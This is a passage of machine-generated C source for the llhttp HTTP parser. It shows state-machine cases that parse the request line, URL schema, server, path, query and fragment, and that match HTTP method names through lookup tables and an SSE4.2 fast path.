s_n_llhttp__internal__n_req_http_start_3;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob18, 4);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          goto s_n_llhttp__internal__n_invoke_load_method_3;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_req_http_start_3;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_30;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_http_start:\n    s_n_llhttp__internal__n_req_http_start: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_http_start;\n      }\n      switch (*p) {\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_req_http_start;\n        }\n        case 'H': {\n          p++;\n          goto s_n_llhttp__internal__n_req_http_start_1;\n        }\n        case 'I': {\n          p++;\n          goto s_n_llhttp__internal__n_req_http_start_2;\n        }\n        case 'R': {\n          p++;\n          goto s_n_llhttp__internal__n_req_http_start_3;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_30;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_skip_to_http:\n    s_n_llhttp__internal__n_url_skip_to_http: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_skip_to_http;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_invoke_llhttp__on_url_complete_1;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_fragment:\n    s_n_llhttp__internal__n_url_fragment: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 1, 3, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_fragment;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_url_fragment;\n        }\n        case 2: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_6;\n        }\n        case 3: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_7;\n        }\n        case 4: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_8;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_31;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_end_stub_query_3:\n    s_n_llhttp__internal__n_span_end_stub_query_3: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_end_stub_query_3;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_url_fragment;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_query:\n    s_n_llhttp__internal__n_url_query: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 0, 1, 3, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        4, 1, 1, 5, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_query;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_url_query;\n        }\n        case 2: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_9;\n        }\n        case 3: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_10;\n        }\n        case 4: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_11;\n        }\n        case 5: {\n          goto s_n_llhttp__internal__n_span_end_stub_query_3;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_32;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_query_or_fragment:\n    s_n_llhttp__internal__n_url_query_or_fragment: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_query_or_fragment;\n      }\n      switch (*p) {\n        case 10: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_3;\n        }\n        case 13: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_4;\n        }\n        case ' ': {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_5;\n        }\n        case '#': {\n          p++;\n          goto s_n_llhttp__internal__n_url_fragment;\n        }\n        case '?': {\n          p++;\n          goto s_n_llhttp__internal__n_url_query;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_33;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_path:\n    s_n_llhttp__internal__n_url_path: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_path;\n      }\n      #ifdef __SSE4_2__\n      if (endp - p >= 16) {\n        __m128i ranges;\n        __m128i input;\n        int avail;\n        int match_len;\n      \n        /* Load input */\n        input = _mm_loadu_si128((__m128i const*) p);\n        ranges = _mm_loadu_si128((__m128i const*) llparse_blob0);\n      \n        /* Find first character that does not match `ranges` */\n        match_len = _mm_cmpestri(ranges, 12,\n            input, 16,\n            _SIDD_UBYTE_OPS | _SIDD_CMP_RANGES |\n              _SIDD_NEGATIVE_POLARITY);\n      \n        if (match_len != 0) {\n          p += match_len;\n          goto s_n_llhttp__internal__n_url_path;\n        }\n        goto s_n_llhttp__internal__n_url_query_or_fragment;\n      }\n      #endif  /* __SSE4_2__ */\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_url_path;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_url_query_or_fragment;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_stub_path_2:\n    s_n_llhttp__internal__n_span_start_stub_path_2: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_stub_path_2;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_url_path;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_stub_path:\n    s_n_llhttp__internal__n_span_start_stub_path: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_stub_path;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_url_path;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_stub_path_1:\n    s_n_llhttp__internal__n_span_start_stub_path_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_stub_path_1;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_url_path;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_server_with_at:\n    s_n_llhttp__internal__n_url_server_with_at: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 2, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        3, 4, 0, 0, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5,\n        4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 4, 0, 6,\n        7, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n        4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 4, 0, 4,\n        0, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n        4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 0, 0, 4, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_server_with_at;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_12;\n        }\n        case 2: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_13;\n        }\n        case 3: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_14;\n        }\n        case 4: {\n          p++;\n          goto s_n_llhttp__internal__n_url_server;\n        }\n        case 5: {\n          goto s_n_llhttp__internal__n_span_start_stub_path_1;\n        }\n        case 6: {\n          p++;\n          goto s_n_llhttp__internal__n_url_query;\n        }\n        case 7: {\n          p++;\n          goto s_n_llhttp__internal__n_error_34;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_35;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_server:\n    s_n_llhttp__internal__n_url_server: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 2, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        3, 4, 0, 0, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5,\n        4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 4, 0, 6,\n        7, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n        4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 4, 0, 4,\n        0, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n        4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 0, 0, 4, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_server;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url;\n        }\n        case 2: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_1;\n        }\n        case 3: {\n          goto s_n_llhttp__internal__n_span_end_llhttp__on_url_2;\n        }\n        case 4: {\n          p++;\n          goto s_n_llhttp__internal__n_url_server;\n        }\n        case 5: {\n          goto s_n_llhttp__internal__n_span_start_stub_path;\n        }\n        case 6: {\n          p++;\n          goto s_n_llhttp__internal__n_url_query;\n        }\n        case 7: {\n          p++;\n          goto s_n_llhttp__internal__n_url_server_with_at;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_36;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_schema_delim_1:\n    s_n_llhttp__internal__n_url_schema_delim_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_schema_delim_1;\n      }\n      switch (*p) {\n        case '/': {\n          p++;\n          goto s_n_llhttp__internal__n_url_server;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_38;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_schema_delim:\n    s_n_llhttp__internal__n_url_schema_delim: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_schema_delim;\n      }\n      switch (*p) {\n        case 10: {\n          p++;\n          goto s_n_llhttp__internal__n_error_37;\n        }\n        case 13: {\n          p++;\n          goto s_n_llhttp__internal__n_error_37;\n        }\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_error_37;\n        }\n        case '/': {\n          p++;\n          goto s_n_llhttp__internal__n_url_schema_delim_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_38;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_end_stub_schema:\n    s_n_llhttp__internal__n_span_end_stub_schema: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_end_stub_schema;\n      }\n      p++;\n      goto s_n_llhttp__internal__n_url_schema_delim;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_schema:\n    s_n_llhttp__internal__n_url_schema: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0,\n        0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n        3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0,\n        0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n        3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_schema;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_error_37;\n        }\n        case 2: {\n          goto s_n_llhttp__internal__n_span_end_stub_schema;\n        }\n        case 3: {\n          p++;\n          goto s_n_llhttp__internal__n_url_schema;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_39;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_url_start:\n    s_n_llhttp__internal__n_url_start: {\n      static uint8_t lookup_table[] = {\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 2,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n        3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0,\n        0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n        3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n      };\n      if (p == endp) {\n        return s_n_llhttp__internal__n_url_start;\n      }\n      switch (lookup_table[(uint8_t) *p]) {\n        case 1: {\n          p++;\n          goto s_n_llhttp__internal__n_error_37;\n        }\n        case 2: {\n          goto s_n_llhttp__internal__n_span_start_stub_path_2;\n        }\n        case 3: {\n          goto s_n_llhttp__internal__n_url_schema;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_40;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_url_1:\n    s_n_llhttp__internal__n_span_start_llhttp__on_url_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_url_1;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_url;\n      goto s_n_llhttp__internal__n_url_start;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_span_start_llhttp__on_url:\n    s_n_llhttp__internal__n_span_start_llhttp__on_url: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_span_start_llhttp__on_url;\n      }\n      state->_span_pos0 = (void*) p;\n      state->_span_cb0 = llhttp__on_url;\n      goto s_n_llhttp__internal__n_url_server;\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_spaces_before_url:\n    s_n_llhttp__internal__n_req_spaces_before_url: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_spaces_before_url;\n      }\n      switch (*p) {\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_req_spaces_before_url;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_invoke_is_equal_method;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_req_first_space_before_url:\n    s_n_llhttp__internal__n_req_first_space_before_url: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_req_first_space_before_url;\n      }\n      switch (*p) {\n        case ' ': {\n          p++;\n          goto s_n_llhttp__internal__n_req_spaces_before_url;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_41;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_2:\n    s_n_llhttp__internal__n_start_req_2: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_2;\n      }\n      switch (*p) {\n        case 'L': {\n          p++;\n          match = 19;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_3:\n    s_n_llhttp__internal__n_start_req_3: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_3;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob19, 6);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 36;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_3;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_1:\n    s_n_llhttp__internal__n_start_req_1: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_1;\n      }\n      switch (*p) {\n        case 'C': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_2;\n        }\n        case 'N': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_3;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_4:\n    s_n_llhttp__internal__n_start_req_4: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_4;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob20, 3);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 16;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_4;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_6:\n    s_n_llhttp__internal__n_start_req_6: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_6;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob21, 6);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 22;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_6;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_8:\n    s_n_llhttp__internal__n_start_req_8: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_8;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob22, 4);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 5;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_8;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_9:\n    s_n_llhttp__internal__n_start_req_9: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_9;\n      }\n      switch (*p) {\n        case 'Y': {\n          p++;\n          match = 8;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_7:\n    s_n_llhttp__internal__n_start_req_7: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_7;\n      }\n      switch (*p) {\n        case 'N': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_8;\n        }\n        case 'P': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_9;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_5:\n    s_n_llhttp__internal__n_start_req_5: {\n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_5;\n      }\n      switch (*p) {\n        case 'H': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_6;\n        }\n        case 'O': {\n          p++;\n          goto s_n_llhttp__internal__n_start_req_7;\n        }\n        default: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_12:\n    s_n_llhttp__internal__n_start_req_12: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_12;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob23, 3);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 0;\n          goto s_n_llhttp__internal__n_invoke_store_method_1;\n        }\n        case kMatchPause: {\n          return s_n_llhttp__internal__n_start_req_12;\n        }\n        case kMatchMismatch: {\n          goto s_n_llhttp__internal__n_error_49;\n        }\n      }\n      /* UNREACHABLE */;\n      abort();\n    }\n    case s_n_llhttp__internal__n_start_req_13:\n    s_n_llhttp__internal__n_start_req_13: {\n      llparse_match_t match_seq;\n      \n      if (p == endp) {\n        return s_n_llhttp__internal__n_start_req_13;\n      }\n      match_seq = llparse__match_sequence_id(state, p, endp, llparse_blob24, 5);\n      p = match_seq.current;\n      switch (match_seq.status) {\n        case kMatchComplete: {\n          p++;\n          match = 35;\n          goto 